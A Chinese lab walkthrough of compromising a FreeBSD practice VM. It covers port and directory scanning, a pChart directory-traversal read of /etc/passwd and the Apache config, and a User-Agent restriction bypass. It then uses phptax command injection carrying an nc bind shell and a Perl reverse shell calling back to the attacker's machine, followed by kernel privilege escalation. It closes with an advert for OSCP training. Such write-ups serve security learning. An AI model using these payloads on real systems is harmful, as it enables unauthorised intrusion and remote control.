文章目录
- 一、信息收集
- 二、漏洞探测
- 三、漏洞利用
- 四、后渗透
一、信息收集
- 主机探测
nmap 192.168.30.0/24 -sP
- 端口及版本探测
nmap 192.168.30.199 -sV
可以看到开放了80,8080端口,采用apache 2.2.21 mod_ssl2.2.21 openssl0.9.8q WebDAV2 php5.3.8
OS: FreeBSD,22端口关闭的
- 指纹探测
whatweb -v 192.168.30.199
从summary可以看出跟我们端口服务探测的结果差不多,唯一关注的是重定向路径pChart2.1.3/index.php
有两个重定向路径的指纹探测报告,分别是
http://192.168.30.199/pChart2.1.3/index.php
http://192.168.30.199/pChart2.1.3/examples/index.php
- 目录扫描
dirb http://192.168.30.199 -N 403
sudo dirsearch -u 192.168.30.199 -x 403
没有扫出什么目录和文件,但是我们已知有一条重定向路径指向目录pChart2.1.3,所以我们扫描一下该目录
sudo dirsearch -u http://192.168.30.199/pChart2.1.3
查看扫描出来的文件,主要关注的是readme.txt,拥有一些关于pChart信息,包括版本信息,作者 ,以及相关文件结构
- Web页面信息
80端口仅有一个It works
8080端口显示forbidden
重定向页面
拥有一些图表
从上述收集的信息来看没有什么价值的,好像只能通过指纹探测获取的信息来查看是否有历史漏洞
二、漏洞探测
- pChart
使用searchsploit探测pChart的漏洞
searchsploit pChart
搜索出来一个,并且刚好符合版本,根据exp标题是多个漏洞,描述在了31173.txt里,复制31173.txt到当前目录
searchsploit 31173 -m
查看漏洞描述
cat 31173.txt
可以看到漏洞标题为目录穿越和反射型xss,我们可以关注一下目录遍历,已经给我们例子了,穿越读取了 /etc/passwd,观察路径/examples/index.php刚好就是我们重定向的路径,直接复制payload访问
可以看到成功读取,可以发现到FreeBSD的版本信息9.0.0,以及一些用户数据(应该用不上,ssh关闭了)
查看apache的配置文件
路径:/usr/local/etc/apache2x/httpd.conf x代表版本号,我们apache版本是2.2.21,所以看apache22
http://x.x.x.x/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2f/usr/local/etc/apache22/httpd.conf
SetEnvIf
指令根据客户端的请求属性设置环境变量
也就是说客户端访问8080端口需要以红框标的user-agent去访问,我们可以通过抓包改包实现
原本我这里是5.0,改成4.0放包即可
成功访问,有一个phptax,同样要改变user-agent访问
第二个数据包也要改为4.0,其中请求的路径/phptax/drawimage.php
成功访问
- FreeBSD
查看FreeBSD 9.0版本是否存在漏洞
searchsploit freebsd 9.0
有存在漏洞及利用脚本,但是两个都是涉及权限提升,可以后续获取shell之后使用
- mod_ssl
查看mod_ssl的漏洞
searchsploit mod_ssl 2.2
我们前面探测到的mod_ssl是2.2.21 < 2.8.7,可以尝试进行利用,我们选择47080.c脚本进行利用,在Kioptrix level 1 里有用到过,但是运行发现没有符合freebsd apache2.2.21版本
- phptax
查看一下phptax漏洞
searchsploit phptax
有两个远程代码执行漏洞,复制查看25849.txt看看
searchsploit 25849 -m
cat 25849.txt
可以看到exp对应路径是index.php,但我们刚才所在路径为/phptax/drawimage.php
查看另外一个21665.txt看看
可以看到符合我们刚才所在的路径,并且还有一个利用payload,貌似是配合nc正向shell
payload解读出来
nc -l -v -p 23235 -e /bin/bash; //在23235端口启用正向shell
;%20nc%20-l%20-v%20-p%2023235%20-e%20/bin/bash;&pdf=make
三、漏洞利用
- 反弹shell
我们先在kali启一个nc监听
nc 192.168.30.199 23235
然后打进payload
试了几次都没有回连,应该是目标靶机没有nc,那按照这个思路尝试其他的反弹shell
kali监听
nc -lvp 4444
然后尝试不同反弹shell payload,这里为了方便,使用hackbar,最终反弹shell成功,使用的perl命令,命令如下:
http://192.168.30.199:8080/phptax/drawimage.php?pfilez=1040pg1.tob;perl -e 'use Socket;$i="192.168.30.176";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};';&pdf=make
payload需要进行url编码,如下图:
成功反弹
四、后渗透
- 收集信息
操作系统为freebsd 9.0 和我们刚才已知一样,用户为www,权限不高,有nc,没python,但是刚才nc正向shell没弹,不知道啥原因
- 提升权限
刚才我们有查询到 freebsd 的提权脚本
分别是28718.c和26368.c,尝试一下内核提权脚本28718.c,将其复制到当前目录然后尝试编译一下
报错没有cpufunc.h头文件,先将c文件传到目标靶机,由目标靶机编译试试,刚才注意到有nc,可以用nc传文件
靶机: nc -v -l 8888 > 28718.c
kali: nc 192.168.30.199 8888 < 28718.c
但是好像传输失败了,原因是目标靶机端口未放通,我还尝试了80和8080也是失败
查询资料发现可以使用fetch传输
先在kali起一个python服务
然后靶机fetch接收
编译执行,报错
尝试另外一个脚本26368.c
成功提权
近期泷羽推出oscp培训,价格实惠,只需要4000,学生还可以优惠500,可以分期,培训六个月,提供官方教材,以及带着刷众多靶机(大约200多台),每天都有直播教学,以及录播,有想考oscp证书意向的师傅可以私信我,也可以扫描海报二维码进行咨询
文章原创,欢迎转载,请注明文章出处